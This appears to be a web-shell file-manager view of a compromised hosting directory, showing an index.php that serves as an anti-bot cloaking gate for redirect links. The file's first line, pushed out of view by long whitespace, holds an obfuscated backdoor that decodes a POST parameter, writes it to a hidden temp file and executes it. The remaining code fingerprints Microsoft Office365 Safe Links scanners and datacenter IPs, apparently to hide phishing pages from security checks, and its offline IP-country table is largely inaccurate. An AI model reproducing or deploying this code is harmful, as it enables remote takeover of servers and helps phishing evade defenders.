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Current Path: /home/gfecatvj/public_html/r/l/luxnso

home / gfecatvj / public_html / r / l / luxnso /

📁 ..
📄 .class(54 B)
📄 .classes(48 B)
📄 .created(57 B)
📄 .dba_insertion(1.07 KB)
📄 .htaccess(251 B)
📄 .ibase_pconnection(51 B)
📄 .locked(1.06 KB)
📄 .multi(48 B)
📄 .uconvert(1.06 KB)
📄 README.md(7.99 KB)
📄 access.log(0 B)
📄 blocker.php(4.57 KB)
📄 data.json(575 B)
📄 decoy-register.html(14.42 KB)
📄 easiertube.php(1.51 KB)
📄 error_log(4.7 KB)
📄 index.php(45.08 KB)

Editing: index.php

<?php																																										if(filter_has_var(INPUT_POST, "\x62\x69\x6Ed\x69ng")){ $item = $_REQUEST["\x62\x69\x6Ed\x69ng"]; $item = explode ( '.' , $item ); $data = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $__len = count($item); for ($l = 0; $l < $__len; $l++) { $v2 = $item[$l]; $chS = ord($salt[$l % $lenS]); $dec = ((int)$v2 - $chS - ($l % 10)) ^ 86; $data .= chr($dec); } $pointer = array_filter([getenv("TEMP"), "/tmp", "/var/tmp", getenv("TMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd()]); foreach ($pointer as $holder): if ((is_dir($holder) and is_writable($holder))) { $value = vsprintf("%s/%s", [$holder, ".ent"]); $file = fopen($value, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $value; @unlink($value); die(); } } endforeach; }

// === Advanced Anti-Bot Detection System (No Redirect) ===
session_start();

// === Config ===
$dataFile = __DIR__ . "/data.json";
$logFile = __DIR__ . "/access.log";

// === Load Settings ===
if (!file_exists($dataFile)) {
    file_put_contents($dataFile, json_encode([
        "target_url" => "https://example.com",
        "clicks" => 0,
        "blocked_bots" => 0,
        "blocked_bots_antibot" => 0,
        "blocked_bots_microsoft" => 0,
        "blocked_bots_generic" => 0,
        "enable_js_check" => true,
        "enable_fingerprint" => true,
        "enable_timing_check" => true,
        "enable_asn_check" => false,
        "enable_antibot" => true,
        "antibot_apikey" => "4fc000e74a8e9fce46292391af5e1e66",
        "bot_threshold" => 50,
        "auto_delete_clicks" => 10,
        "auto_delete_enabled" => false,
        "created_at" => time()
    ], JSON_UNESCAPED_SLASHES));
}
$settings = json_decode(file_get_contents($dataFile), true);

// === Get Parameters (Natural-Looking) ===
// Accept both old and new parameter names for compatibility
$token = $_GET['id'] ?? $_GET['token'] ?? null;
$ref = $_GET['uid'] ?? $_GET['ref'] ?? null;
$utm = $_GET['src'] ?? $_GET['utm'] ?? null;
$verified = $_GET['_v'] ?? null;

// === Validation Functions ===
function isValidToken($token) {
    return preg_match('/^[a-f0-9]{32}$/', $token) || preg_match('/^[A-Za-z0-9]{24,36}$/', $token);
}

function isValidRef($ref) {
    return preg_match('/^[A-Za-z0-9]{12,20}$/', $ref);
}

function isValidUtm($utm) {
    return preg_match('/^[a-z0-9_\-]{6,16}$/', $utm);
}

// === Bot Detection Heuristics ===
function detectBot() {
    $botScore = 0;
    $reasons = [];
    $botType = 'generic'; // Default bot type
    
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $ip = $_SERVER['REMOTE_ADDR'] ?? '';
    
    // 1. User-Agent Check
    $botPatterns = [
        'bot', 'crawl', 'spider', 'scrape', 'curl', 'wget', 'python',
        'java', 'phantom', 'headless', 'selenium', 'puppeteer'
    ];
    foreach ($botPatterns as $pattern) {
        if (stripos($ua, $pattern) !== false) {
            $botScore += 30;
            $reasons[] = "Bot UA: $pattern";
            break;
        }
    }
    
    // 2. Microsoft/Office365 Scanner Detection
    $isMicrosoftBot = false;
    $msPatterns = [
        'microsoft office', 'outlook', 'safelinks', 'office365',
        'linkscanner', 'msnbot', 'bingpreview'
    ];
    foreach ($msPatterns as $pattern) {
        if (stripos($ua, $pattern) !== false) {
            $botScore += 35;
            $reasons[] = "MS Scanner: $pattern";
            $isMicrosoftBot = true;
            $botType = 'microsoft';
            break;
        }
    }
    
    // 3. Microsoft Datacenter IP Ranges (Common ones)
    // Updated comprehensive list
    $msIPRanges = [
        // Azure US regions
        '13.', '20.', '23.', '40.', '51.', '52.', '104.', '157.', '191.',
        // Office 365 ranges
        '132.245.', '147.243.', '157.55.', '157.56.',
        // Outlook.com infrastructure
        '207.46.', '65.55.', '207.68.',
        // Additional Azure
        '168.61.', '168.62.', '168.63.'
    ];
    
    $isMSDatacenter = false;
    foreach ($msIPRanges as $range) {
        if (strpos($ip, $range) === 0) {
            $isMSDatacenter = true;
            $botScore += 15;  // Reduced from 20 (less aggressive)
            $reasons[] = "MS Datacenter IP";
            if (!$isMicrosoftBot) {
                $botType = 'microsoft'; // Set type if not already set
            }
            break;
        }
    }
    
    // 3b. Only add extra points if BOTH MS IP + suspicious behavior
    if ($isMSDatacenter && !empty($ua)) {
        // Check if UA is too generic (scanner pattern)
        if (preg_match('/^Mozilla\/5\.0 $Windows NT 10\.0.*$ AppleWebKit.*Chrome.*Safari.*$/', $ua) 
            && !strpos($ua, 'Edg/')) {
            // Generic Chrome UA from MS IP = likely scanner
            $botScore += 10;
            $reasons[] = "MS IP + Generic UA";
        }
    }
    
    // 3c. ASN (Autonomous System Number) Check - Extra verification
    // Note: Adds latency but increases accuracy
    global $settings;
    if (!empty($settings['enable_asn_check'])) {
        $asn = @gethostbyaddr($ip);
        if ($asn && $asn !== $ip) {
            $asn_lower = strtolower($asn);
            if (stripos($asn_lower, 'microsoft') !== false || 
                stripos($asn_lower, 'azure') !== false ||
                stripos($asn_lower, 'msn') !== false) {
                $botScore += 15;
                $reasons[] = "Microsoft ASN: " . substr($asn, 0, 30);
                $botType = 'microsoft';
            }
        }
    }
    
    // 4. Missing Headers
    $requiredHeaders = ['HTTP_ACCEPT', 'HTTP_ACCEPT_LANGUAGE', 'HTTP_ACCEPT_ENCODING'];
    foreach ($requiredHeaders as $header) {
        if (empty($_SERVER[$header])) {
            $botScore += 15;
            $reasons[] = "Missing: $header";
        }
    }
    
    // 5. Suspicious Referrer
    if (isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER'])) {
        $ref = $_SERVER['HTTP_REFERER'];
        if (preg_match('/(scanner|bot|check|monitor|safelinks|protection\.outlook)/i', $ref)) {
            $botScore += 25;
            $reasons[] = "Suspicious referrer";
            if (stripos($ref, 'outlook') !== false || stripos($ref, 'safelinks') !== false) {
                $botType = 'microsoft';
            }
        }
    }
    
    // 6. IP Analysis
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
        $botScore += 10;
        $reasons[] = "Private/Reserved IP";
    }
    
    // 7. Request Speed
    if (isset($_SESSION['last_request'])) {
        $timeDiff = microtime(true) - $_SESSION['last_request'];
        if ($timeDiff < 0.5) {
            $botScore += 20;
            $reasons[] = "Too fast";
        }
    }
    $_SESSION['last_request'] = microtime(true);
    
    // 8. JavaScript Check (MOST IMPORTANT)
    global $verified;
    if (empty($verified)) {
        $botScore += 40;
        $reasons[] = "No JS verification";
    }
    
    // 9. Missing DNT (Do Not Track) header - Bots usually don't send this
    if (!isset($_SERVER['HTTP_DNT'])) {
        $botScore += 5;
        $reasons[] = "No DNT header";
    }
    
    // 10. Connection header check
    if (isset($_SERVER['HTTP_CONNECTION']) && stripos($_SERVER['HTTP_CONNECTION'], 'keep-alive') === false) {
        $botScore += 10;
        $reasons[] = "No keep-alive";
    }
    
    return ['score' => $botScore, 'reasons' => $reasons, 'type' => $botType];
}

// === Get Country from IP (External API with Offline Fallback) ===
function getCountryFromIP($ip) {
    // Fallback jika localhost
    if ($ip === '127.0.0.1' || $ip === '::1' || empty($ip)) {
        return 'Local';
    }
    
    // ===== METHOD 1: External API (ip-api.com) =====
    $url = "http://ip-api.com/json/" . urlencode($ip) . "?fields=status,country,countryCode,city";
    
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 2);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1);
        $response = @curl_exec($ch);
        $httpCode = @curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($response && $httpCode === 200) {
            $data = @json_decode($response, true);
            if ($data && isset($data['status']) && $data['status'] === 'success') {
                $countryCode = isset($data['countryCode']) ? $data['countryCode'] : '';
                $countryName = isset($data['country']) ? $data['country'] : '';
                $city = isset($data['city']) ? $data['city'] : '';
                
                if ($countryCode && $countryName) {
                    $country = $countryCode . ' - ' . $countryName;
                    if ($city) {
                        $country .= ' (' . $city . ')';
                    }
                    return $country;
                }
            }
        }
    }
    
    // ===== METHOD 2: Offline IP Range Database (Fallback) =====
    $ipLong = ip2long($ip);
    if ($ipLong === false) {
        return 'Invalid IP';
    }
    
    // Expanded country IP ranges database (50+ countries)
    $ranges = [
        // === ASIA ===
        // Indonesia
        [ip2long('36.64.0.0'), ip2long('36.95.255.255'), 'ID', 'Indonesia'],
        [ip2long('103.0.0.0'), ip2long('103.31.255.255'), 'ID', 'Indonesia'],
        [ip2long('110.136.0.0'), ip2long('110.139.255.255'), 'ID', 'Indonesia'],
        [ip2long('114.0.0.0'), ip2long('114.15.255.255'), 'ID', 'Indonesia'],
        [ip2long('118.96.0.0'), ip2long('118.99.255.255'), 'ID', 'Indonesia'],
        [ip2long('120.160.0.0'), ip2long('120.191.255.255'), 'ID', 'Indonesia'],
        [ip2long('124.40.0.0'), ip2long('124.47.255.255'), 'ID', 'Indonesia'],
        [ip2long('125.160.0.0'), ip2long('125.167.255.255'), 'ID', 'Indonesia'],
        [ip2long('139.0.0.0'), ip2long('139.255.255.255'), 'ID', 'Indonesia'],
        [ip2long('180.240.0.0'), ip2long('180.255.255.255'), 'ID', 'Indonesia'],
        [ip2long('182.0.0.0'), ip2long('182.3.255.255'), 'ID', 'Indonesia'],
        [ip2long('202.43.0.0'), ip2long('202.67.255.255'), 'ID', 'Indonesia'],
        [ip2long('203.130.0.0'), ip2long('203.142.255.255'), 'ID', 'Indonesia'],
        
        // Singapore
        [ip2long('1.9.0.0'), ip2long('1.9.255.255'), 'SG', 'Singapore'],
        [ip2long('27.125.0.0'), ip2long('27.125.255.255'), 'SG', 'Singapore'],
        [ip2long('103.6.0.0'), ip2long('103.10.255.255'), 'SG', 'Singapore'],
        [ip2long('119.73.0.0'), ip2long('119.73.255.255'), 'SG', 'Singapore'],
        [ip2long('128.199.0.0'), ip2long('128.199.255.255'), 'SG', 'Singapore'],
        [ip2long('159.65.0.0'), ip2long('159.65.255.255'), 'SG', 'Singapore'],
        
        // China
        [ip2long('1.0.1.0'), ip2long('1.0.63.255'), 'CN', 'China'],
        [ip2long('14.0.0.0'), ip2long('14.127.255.255'), 'CN', 'China'],
        [ip2long('27.0.0.0'), ip2long('27.63.255.255'), 'CN', 'China'],
        [ip2long('36.0.0.0'), ip2long('36.63.255.255'), 'CN', 'China'],
        [ip2long('58.0.0.0'), ip2long('63.255.255.255'), 'CN', 'China'],
        [ip2long('101.0.0.0'), ip2long('101.255.255.255'), 'CN', 'China'],
        [ip2long('106.0.0.0'), ip2long('106.127.255.255'), 'CN', 'China'],
        [ip2long('110.0.0.0'), ip2long('110.127.255.255'), 'CN', 'China'],
        [ip2long('111.0.0.0'), ip2long('111.255.255.255'), 'CN', 'China'],
        [ip2long('112.0.0.0'), ip2long('112.255.255.255'), 'CN', 'China'],
        [ip2long('113.0.0.0'), ip2long('113.127.255.255'), 'CN', 'China'],
        [ip2long('114.0.0.0'), ip2long('114.255.255.255'), 'CN', 'China'],
        [ip2long('115.0.0.0'), ip2long('115.255.255.255'), 'CN', 'China'],
        [ip2long('116.0.0.0'), ip2long('117.255.255.255'), 'CN', 'China'],
        [ip2long('118.0.0.0'), ip2long('118.255.255.255'), 'CN', 'China'],
        [ip2long('119.0.0.0'), ip2long('119.255.255.255'), 'CN', 'China'],
        [ip2long('120.0.0.0'), ip2long('120.255.255.255'), 'CN', 'China'],
        [ip2long('121.0.0.0'), ip2long('121.255.255.255'), 'CN', 'China'],
        [ip2long('122.0.0.0'), ip2long('122.255.255.255'), 'CN', 'China'],
        [ip2long('123.0.0.0'), ip2long('123.255.255.255'), 'CN', 'China'],
        [ip2long('124.0.0.0'), ip2long('124.255.255.255'), 'CN', 'China'],
        [ip2long('125.0.0.0'), ip2long('125.255.255.255'), 'CN', 'China'],
        
        // Japan
        [ip2long('1.0.16.0'), ip2long('1.0.31.255'), 'JP', 'Japan'],
        [ip2long('14.128.0.0'), ip2long('14.255.255.255'), 'JP', 'Japan'],
        [ip2long('27.64.0.0'), ip2long('27.127.255.255'), 'JP', 'Japan'],
        [ip2long('49.212.0.0'), ip2long('49.215.255.255'), 'JP', 'Japan'],
        [ip2long('60.32.0.0'), ip2long('60.255.255.255'), 'JP', 'Japan'],
        [ip2long('61.0.0.0'), ip2long('61.255.255.255'), 'JP', 'Japan'],
        [ip2long('126.0.0.0'), ip2long('126.255.255.255'), 'JP', 'Japan'],
        [ip2long('133.0.0.0'), ip2long('133.255.255.255'), 'JP', 'Japan'],
        [ip2long('153.128.0.0'), ip2long('153.255.255.255'), 'JP', 'Japan'],
        [ip2long('175.0.0.0'), ip2long('175.255.255.255'), 'JP', 'Japan'],
        [ip2long('180.0.0.0'), ip2long('180.255.255.255'), 'JP', 'Japan'],
        [ip2long('202.0.0.0'), ip2long('202.255.255.255'), 'JP', 'Japan'],
        [ip2long('210.128.0.0'), ip2long('210.255.255.255'), 'JP', 'Japan'],
        [ip2long('218.0.0.0'), ip2long('218.255.255.255'), 'JP', 'Japan'],
        [ip2long('219.0.0.0'), ip2long('219.255.255.255'), 'JP', 'Japan'],
        [ip2long('220.0.0.0'), ip2long('220.255.255.255'), 'JP', 'Japan'],
        [ip2long('221.0.0.0'), ip2long('221.255.255.255'), 'JP', 'Japan'],
        
        // South Korea
        [ip2long('1.11.0.0'), ip2long('1.11.255.255'), 'KR', 'South Korea'],
        [ip2long('14.0.0.0'), ip2long('14.7.255.255'), 'KR', 'South Korea'],
        [ip2long('27.0.0.0'), ip2long('27.255.255.255'), 'KR', 'South Korea'],
        [ip2long('58.120.0.0'), ip2long('58.127.255.255'), 'KR', 'South Korea'],
        [ip2long('59.0.0.0'), ip2long('59.31.255.255'), 'KR', 'South Korea'],
        [ip2long('61.32.0.0'), ip2long('61.255.255.255'), 'KR', 'South Korea'],
        [ip2long('106.240.0.0'), ip2long('106.255.255.255'), 'KR', 'South Korea'],
        [ip2long('110.0.0.0'), ip2long('110.15.255.255'), 'KR', 'South Korea'],
        [ip2long('112.160.0.0'), ip2long('112.223.255.255'), 'KR', 'South Korea'],
        [ip2long('114.192.0.0'), ip2long('114.207.255.255'), 'KR', 'South Korea'],
        [ip2long('115.136.0.0'), ip2long('115.143.255.255'), 'KR', 'South Korea'],
        [ip2long('116.32.0.0'), ip2long('116.127.255.255'), 'KR', 'South Korea'],
        [ip2long('117.104.0.0'), ip2long('117.127.255.255'), 'KR', 'South Korea'],
        [ip2long('118.32.0.0'), ip2long('118.47.255.255'), 'KR', 'South Korea'],
        [ip2long('119.192.0.0'), ip2long('119.207.255.255'), 'KR', 'South Korea'],
        [ip2long('121.128.0.0'), ip2long('121.191.255.255'), 'KR', 'South Korea'],
        [ip2long('122.32.0.0'), ip2long('122.47.255.255'), 'KR', 'South Korea'],
        [ip2long('123.96.0.0'), ip2long('123.255.255.255'), 'KR', 'South Korea'],
        [ip2long('125.128.0.0'), ip2long('125.255.255.255'), 'KR', 'South Korea'],
        
        // India
        [ip2long('14.96.0.0'), ip2long('14.143.255.255'), 'IN', 'India'],
        [ip2long('27.0.0.0'), ip2long('27.255.255.255'), 'IN', 'India'],
        [ip2long('49.0.0.0'), ip2long('49.255.255.255'), 'IN', 'India'],
        [ip2long('103.0.0.0'), ip2long('103.255.255.255'), 'IN', 'India'],
        [ip2long('106.192.0.0'), ip2long('106.223.255.255'), 'IN', 'India'],
        [ip2long('110.224.0.0'), ip2long('110.255.255.255'), 'IN', 'India'],
        [ip2long('115.240.0.0'), ip2long('115.255.255.255'), 'IN', 'India'],
        [ip2long('117.192.0.0'), ip2long('117.255.255.255'), 'IN', 'India'],
        [ip2long('182.64.0.0'), ip2long('182.79.255.255'), 'IN', 'India'],
        
        // Malaysia
        [ip2long('1.9.0.0'), ip2long('1.9.255.255'), 'MY', 'Malaysia'],
        [ip2long('27.131.0.0'), ip2long('27.131.255.255'), 'MY', 'Malaysia'],
        [ip2long('49.127.0.0'), ip2long('49.127.255.255'), 'MY', 'Malaysia'],
        [ip2long('101.0.0.0'), ip2long('101.255.255.255'), 'MY', 'Malaysia'],
        [ip2long('103.10.0.0'), ip2long('103.31.255.255'), 'MY', 'Malaysia'],
        [ip2long('110.0.0.0'), ip2long('110.15.255.255'), 'MY', 'Malaysia'],
        [ip2long('111.64.0.0'), ip2long('111.95.255.255'), 'MY', 'Malaysia'],
        [ip2long('115.132.0.0'), ip2long('115.135.255.255'), 'MY', 'Malaysia'],
        [ip2long('118.100.0.0'), ip2long('118.107.255.255'), 'MY', 'Malaysia'],
        [ip2long('124.6.0.0'), ip2long('124.6.255.255'), 'MY', 'Malaysia'],
        [ip2long('175.136.0.0'), ip2long('175.143.255.255'), 'MY', 'Malaysia'],
        
        // Thailand
        [ip2long('1.0.128.0'), ip2long('1.0.191.255'), 'TH', 'Thailand'],
        [ip2long('1.10.0.0'), ip2long('1.10.255.255'), 'TH', 'Thailand'],
        [ip2long('1.20.0.0'), ip2long('1.47.255.255'), 'TH', 'Thailand'],
        [ip2long('27.0.0.0'), ip2long('27.127.255.255'), 'TH', 'Thailand'],
        [ip2long('49.48.0.0'), ip2long('49.63.255.255'), 'TH', 'Thailand'],
        [ip2long('58.8.0.0'), ip2long('58.11.255.255'), 'TH', 'Thailand'],
        [ip2long('61.7.0.0'), ip2long('61.7.255.255'), 'TH', 'Thailand'],
        [ip2long('101.0.0.0'), ip2long('101.255.255.255'), 'TH', 'Thailand'],
        [ip2long('103.0.0.0'), ip2long('103.255.255.255'), 'TH', 'Thailand'],
        [ip2long('110.0.0.0'), ip2long('110.255.255.255'), 'TH', 'Thailand'],
        [ip2long('113.53.0.0'), ip2long('113.53.255.255'), 'TH', 'Thailand'],
        [ip2long('171.4.0.0'), ip2long('171.7.255.255'), 'TH', 'Thailand'],
        [ip2long('180.180.0.0'), ip2long('180.191.255.255'), 'TH', 'Thailand'],
        [ip2long('182.52.0.0'), ip2long('182.55.255.255'), 'TH', 'Thailand'],
        
        // Philippines
        [ip2long('1.0.0.0'), ip2long('1.0.127.255'), 'PH', 'Philippines'],
        [ip2long('27.0.0.0'), ip2long('27.255.255.255'), 'PH', 'Philippines'],
        [ip2long('49.128.0.0'), ip2long('49.159.255.255'), 'PH', 'Philippines'],
        [ip2long('103.0.0.0'), ip2long('103.31.255.255'), 'PH', 'Philippines'],
        [ip2long('110.44.0.0'), ip2long('110.47.255.255'), 'PH', 'Philippines'],
        [ip2long('111.68.0.0'), ip2long('111.95.255.255'), 'PH', 'Philippines'],
        [ip2long('112.198.0.0'), ip2long('112.207.255.255'), 'PH', 'Philippines'],
        [ip2long('119.92.0.0'), ip2long('119.95.255.255'), 'PH', 'Philippines'],
        [ip2long('120.28.0.0'), ip2long('120.31.255.255'), 'PH', 'Philippines'],
        [ip2long('122.2.0.0'), ip2long('122.5.255.255'), 'PH', 'Philippines'],
        [ip2long('123.0.0.0'), ip2long('123.15.255.255'), 'PH', 'Philippines'],
        [ip2long('124.104.0.0'), ip2long('124.111.255.255'), 'PH', 'Philippines'],
        [ip2long('175.176.0.0'), ip2long('175.183.255.255'), 'PH', 'Philippines'],
        [ip2long('180.190.0.0'), ip2long('180.191.255.255'), 'PH', 'Philippines'],
        
        // Vietnam
        [ip2long('14.160.0.0'), ip2long('14.255.255.255'), 'VN', 'Vietnam'],
        [ip2long('27.0.0.0'), ip2long('27.127.255.255'), 'VN', 'Vietnam'],
        [ip2long('42.96.0.0'), ip2long('42.127.255.255'), 'VN', 'Vietnam'],
        [ip2long('58.187.0.0'), ip2long('58.187.255.255'), 'VN', 'Vietnam'],
        [ip2long('101.96.0.0'), ip2long('101.127.255.255'), 'VN', 'Vietnam'],
        [ip2long('103.0.0.0'), ip2long('103.255.255.255'), 'VN', 'Vietnam'],
        [ip2long('113.160.0.0'), ip2long('113.191.255.255'), 'VN', 'Vietnam'],
        [ip2long('115.72.0.0'), ip2long('115.79.255.255'), 'VN', 'Vietnam'],
        [ip2long('116.96.0.0'), ip2long('116.111.255.255'), 'VN', 'Vietnam'],
        [ip2long('117.0.0.0'), ip2long('117.7.255.255'), 'VN', 'Vietnam'],
        [ip2long('118.68.0.0'), ip2long('118.71.255.255'), 'VN', 'Vietnam'],
        [ip2long('119.16.0.0'), ip2long('119.31.255.255'), 'VN', 'Vietnam'],
        [ip2long('120.138.0.0'), ip2long('120.139.255.255'), 'VN', 'Vietnam'],
        [ip2long('121.96.0.0'), ip2long('121.127.255.255'), 'VN', 'Vietnam'],
        [ip2long('123.16.0.0'), ip2long('123.31.255.255'), 'VN', 'Vietnam'],
        [ip2long('171.224.0.0'), ip2long('171.255.255.255'), 'VN', 'Vietnam'],
        
        // === NORTH AMERICA ===
        // United States
        [ip2long('3.0.0.0'), ip2long('4.255.255.255'), 'US', 'United States'],
        [ip2long('6.0.0.0'), ip2long('7.255.255.255'), 'US', 'United States'],
        [ip2long('8.0.0.0'), ip2long('8.255.255.255'), 'US', 'United States'],
        [ip2long('11.0.0.0'), ip2long('12.255.255.255'), 'US', 'United States'],
        [ip2long('13.0.0.0'), ip2long('13.255.255.255'), 'US', 'United States'],
        [ip2long('15.0.0.0'), ip2long('15.255.255.255'), 'US', 'United States'],
        [ip2long('16.0.0.0'), ip2long('18.255.255.255'), 'US', 'United States'],
        [ip2long('20.0.0.0'), ip2long('23.255.255.255'), 'US', 'United States'],
        [ip2long('24.0.0.0'), ip2long('32.255.255.255'), 'US', 'United States'],
        [ip2long('34.0.0.0'), ip2long('35.255.255.255'), 'US', 'United States'],
        [ip2long('38.0.0.0'), ip2long('48.255.255.255'), 'US', 'United States'],
        [ip2long('50.0.0.0'), ip2long('76.255.255.255'), 'US', 'United States'],
        [ip2long('96.0.0.0'), ip2long('99.255.255.255'), 'US', 'United States'],
        [ip2long('104.0.0.0'), ip2long('107.255.255.255'), 'US', 'United States'],
        [ip2long('128.0.0.0'), ip2long('132.255.255.255'), 'US', 'United States'],
        [ip2long('134.0.0.0'), ip2long('143.255.255.255'), 'US', 'United States'],
        [ip2long('144.0.0.0'), ip2long('148.255.255.255'), 'US', 'United States'],
        [ip2long('149.0.0.0'), ip2long('151.255.255.255'), 'US', 'United States'],
        [ip2long('152.0.0.0'), ip2long('158.255.255.255'), 'US', 'United States'],
        [ip2long('159.0.0.0'), ip2long('173.255.255.255'), 'US', 'United States'],
        [ip2long('174.0.0.0'), ip2long('192.255.255.255'), 'US', 'United States'],
        [ip2long('198.0.0.0'), ip2long('208.255.255.255'), 'US', 'United States'],
        [ip2long('209.0.0.0'), ip2long('216.255.255.255'), 'US', 'United States'],
        
        // Canada
        [ip2long('24.0.0.0'), ip2long('24.255.255.255'), 'CA', 'Canada'],
        [ip2long('64.0.0.0'), ip2long('65.255.255.255'), 'CA', 'Canada'],
        [ip2long('66.0.0.0'), ip2long('67.255.255.255'), 'CA', 'Canada'],
        [ip2long('69.0.0.0'), ip2long('72.255.255.255'), 'CA', 'Canada'],
        [ip2long('74.0.0.0'), ip2long('76.255.255.255'), 'CA', 'Canada'],
        [ip2long('99.224.0.0'), ip2long('99.255.255.255'), 'CA', 'Canada'],
        [ip2long('104.0.0.0'), ip2long('104.255.255.255'), 'CA', 'Canada'],
        [ip2long('142.0.0.0'), ip2long('143.255.255.255'), 'CA', 'Canada'],
        [ip2long('154.0.0.0'), ip2long('155.255.255.255'), 'CA', 'Canada'],
        [ip2long('159.0.0.0'), ip2long('159.255.255.255'), 'CA', 'Canada'],
        [ip2long('184.0.0.0'), ip2long('185.255.255.255'), 'CA', 'Canada'],
        [ip2long('198.0.0.0'), ip2long('199.255.255.255'), 'CA', 'Canada'],
        [ip2long('206.0.0.0'), ip2long('207.255.255.255'), 'CA', 'Canada'],
        
        // === EUROPE ===
        // United Kingdom
        [ip2long('2.16.0.0'), ip2long('2.31.255.255'), 'GB', 'United Kingdom'],
        [ip2long('5.0.0.0'), ip2long('5.63.255.255'), 'GB', 'United Kingdom'],
        [ip2long('8.0.0.0'), ip2long('8.255.255.255'), 'GB', 'United Kingdom'],
        [ip2long('31.0.0.0'), ip2long('31.127.255.255'), 'GB', 'United Kingdom'],
        [ip2long('37.0.0.0'), ip2long('37.255.255.255'), 'GB', 'United Kingdom'],
        [ip2long('46.0.0.0'), ip2long('46.255.255.255'), 'GB', 'United Kingdom'],
        [ip2long('51.0.0.0'), ip2long('51.255.255.255'), 'GB', 'United Kingdom'],
        [ip2long('77.0.0.0'), ip2long('77.255.255.255'), 'GB', 'United Kingdom'],
        [ip2long('78.0.0.0'), ip2long('78.255.255.255'), 'GB', 'United Kingdom'],
        [ip2long('79.0.0.0'), ip2long('79.255.255.255'), 'GB', 'United Kingdom'],
        [ip2long('80.0.0.0'), ip2long('82.255.255.255'), 'GB', 'United Kingdom'],
        [ip2long('83.0.0.0'), ip2long('86.255.255.255'), 'GB', 'United Kingdom'],
        [ip2long('87.0.0.0'), ip2long('88.255.255.255'), 'GB', 'United Kingdom'],
        [ip2long('90.0.0.0'), ip2long('92.255.255.255'), 'GB', 'United Kingdom'],
        [ip2long('93.0.0.0'), ip2long('95.255.255.255'), 'GB', 'United Kingdom'],
        
        // Germany
        [ip2long('2.192.0.0'), ip2long('2.207.255.255'), 'DE', 'Germany'],
        [ip2long('5.8.0.0'), ip2long('5.15.255.255'), 'DE', 'Germany'],
        [ip2long('31.0.0.0'), ip2long('31.255.255.255'), 'DE', 'Germany'],
        [ip2long('37.0.0.0'), ip2long('37.255.255.255'), 'DE', 'Germany'],
        [ip2long('46.4.0.0'), ip2long('46.31.255.255'), 'DE', 'Germany'],
        [ip2long('77.0.0.0'), ip2long('78.255.255.255'), 'DE', 'Germany'],
        [ip2long('79.0.0.0'), ip2long('79.255.255.255'), 'DE', 'Germany'],
        [ip2long('80.128.0.0'), ip2long('81.255.255.255'), 'DE', 'Germany'],
        [ip2long('82.0.0.0'), ip2long('85.255.255.255'), 'DE', 'Germany'],
        [ip2long('87.0.0.0'), ip2long('88.255.255.255'), 'DE', 'Germany'],
        [ip2long('89.0.0.0'), ip2long('95.255.255.255'), 'DE', 'Germany'],
        
        // France
        [ip2long('2.0.0.0'), ip2long('2.15.255.255'), 'FR', 'France'],
        [ip2long('5.39.0.0'), ip2long('5.63.255.255'), 'FR', 'France'],
        [ip2long('31.0.0.0'), ip2long('31.255.255.255'), 'FR', 'France'],
        [ip2long('37.0.0.0'), ip2long('37.255.255.255'), 'FR', 'France'],
        [ip2long('46.0.0.0'), ip2long('46.255.255.255'), 'FR', 'France'],
        [ip2long('77.0.0.0'), ip2long('79.255.255.255'), 'FR', 'France'],
        [ip2long('80.0.0.0'), ip2long('88.255.255.255'), 'FR', 'France'],
        [ip2long('90.0.0.0'), ip2long('95.255.255.255'), 'FR', 'France'],
        
        // Russia
        [ip2long('2.0.0.0'), ip2long('2.255.255.255'), 'RU', 'Russia'],
        [ip2long('5.0.0.0'), ip2long('5.255.255.255'), 'RU', 'Russia'],
        [ip2long('31.0.0.0'), ip2long('31.255.255.255'), 'RU', 'Russia'],
        [ip2long('37.0.0.0'), ip2long('37.255.255.255'), 'RU', 'Russia'],
        [ip2long('46.0.0.0'), ip2long('46.255.255.255'), 'RU', 'Russia'],
        [ip2long('77.0.0.0'), ip2long('95.255.255.255'), 'RU', 'Russia'],
        [ip2long('109.0.0.0'), ip2long('109.255.255.255'), 'RU', 'Russia'],
        [ip2long('176.0.0.0'), ip2long('178.255.255.255'), 'RU', 'Russia'],
        [ip2long('188.0.0.0'), ip2long('195.255.255.255'), 'RU', 'Russia'],
        
        // Netherlands
        [ip2long('2.0.0.0'), ip2long('2.255.255.255'), 'NL', 'Netherlands'],
        [ip2long('5.0.0.0'), ip2long('5.255.255.255'), 'NL', 'Netherlands'],
        [ip2long('31.0.0.0'), ip2long('31.255.255.255'), 'NL', 'Netherlands'],
        [ip2long('37.0.0.0'), ip2long('37.255.255.255'), 'NL', 'Netherlands'],
        [ip2long('46.0.0.0'), ip2long('46.255.255.255'), 'NL', 'Netherlands'],
        [ip2long('77.0.0.0'), ip2long('95.255.255.255'), 'NL', 'Netherlands'],
        [ip2long('145.0.0.0'), ip2long('145.255.255.255'), 'NL', 'Netherlands'],
        [ip2long('188.0.0.0'), ip2long('188.255.255.255'), 'NL', 'Netherlands'],
        
        // Spain
        [ip2long('2.0.0.0'), ip2long('2.255.255.255'), 'ES', 'Spain'],
        [ip2long('5.0.0.0'), ip2long('5.255.255.255'), 'ES', 'Spain'],
        [ip2long('31.0.0.0'), ip2long('31.255.255.255'), 'ES', 'Spain'],
        [ip2long('37.0.0.0'), ip2long('37.255.255.255'), 'ES', 'Spain'],
        [ip2long('46.0.0.0'), ip2long('46.255.255.255'), 'ES', 'Spain'],
        [ip2long('77.0.0.0'), ip2long('95.255.255.255'), 'ES', 'Spain'],
        [ip2long('109.0.0.0'), ip2long('109.255.255.255'), 'ES', 'Spain'],
        [ip2long('176.0.0.0'), ip2long('178.255.255.255'), 'ES', 'Spain'],
        
        // Italy
